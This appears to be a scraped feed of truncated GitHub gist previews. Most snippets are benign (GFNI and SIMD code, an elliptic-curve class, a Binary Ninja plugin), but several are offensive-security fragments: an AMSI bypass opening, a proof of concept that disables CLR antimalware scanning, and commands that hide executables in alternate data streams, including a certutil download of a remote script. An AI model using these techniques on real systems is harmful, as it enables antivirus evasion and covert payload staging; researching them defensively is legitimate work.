animetosho

Unexpected Uses for the Galois Field Affine Transformation Instruction

Intel added the Galois Field instruction set (GFNI) extensions to their Sunny Cove and Tremont cores. What’s particularly interesting is that GFNI is the only new SIMD extension that came with SSE and VEX/AVX encodings (in addition to EVEX/AVX512), to allow it to be supported on all future Intel cores, including those which don’t support AVX512 (such as the Atom line, as well as Celeron/Pentium branded “big” cores).

I suspect GFNI was aimed at accelerating SM4 encryption, however, one of the instructions can be used for many other purposes. The extension includes three instructions, but of particular interest here is the Affine Transformation (GF2P8AFFINEQB), aka bit-matrix multiply, instruction.

There have been various articles which discuss out-of-band

animetosho

Count Leading/Trailing Zero Bits (Byte-wise)

Counting the trailing zero bit count (TZCNT) can be done by isolating the lowest bit, then depositing this into the appropriate locations for the count. The leading zero bit count (LZCNT) can be done by reversing bits, then computing the TZCNT.

__m128i _mm_tzcnt_epi8(__m128i a) {
	// isolate lowest bit
	a = _mm_andnot_si128(_mm_add_epi8(a, _mm_set1_epi8(0xff)), a);
	// convert lowest bit to index

monoxgas

#include <Windows.h>
#include <intrin.h>
#include <string>
#include <TlHelp32.h>
#include <psapi.h>

DWORD WINAPI Thread(LPVOID lpParam) {
	// Insert evil stuff

	ExitProcess(0);

onyb

from dataclasses import dataclass

from field import FieldElement, PrimeGaloisField


@dataclass
class EllipticCurve:
    a: int
    b: int

TheWover

using System;
using System.Runtime.InteropServices;

namespace AMSIBypass2
{
    class Program
    {

        [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);

mattifestation

function Subvert-CLRAntiMalware {
<#
.SYNOPSIS

A proof-of-concept demonstrating overwriting a global variable that stores a pointer to an antimalware scan interface context structure. This PoC was only built to work with .NET Framework Early Access build 3694.

.DESCRIPTION

clr.dll in .NET Framework Early Access build 3694 has a global variable that stores a pointer to an antimalware scan interface context structure. By reading the pointer at that offset and then overwriting the forst DWORD, the context structure will become corrupted and subsequent scanning calls will fail open.

clarkezone

class RoHelper
{
  public:
    RoHelper() : mWinRtAvailable(false)
    {
        if (!IsWindows10OrGreater())
        {
            return;
        }

TheKevinWang

using System;
using System.Collections.Generic;
using System.Text;
using System.CodeDom.Compiler;
using Microsoft.CSharp;
using System.IO;
using System.Reflection;
namespace InMemoryCompiler
{
    class Program

api0cradle

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

itszn

from binaryninja import (Architecture, RegisterInfo, InstructionInfo,
    InstructionTextToken, InstructionTextTokenType, InstructionTextTokenContext,
    BranchType,
    LowLevelILOperation, LLIL_TEMP,
    LowLevelILLabel,
    FlagRole,
    LowLevelILFlagCondition,
    log_error,
    CallingConvention,
    interaction,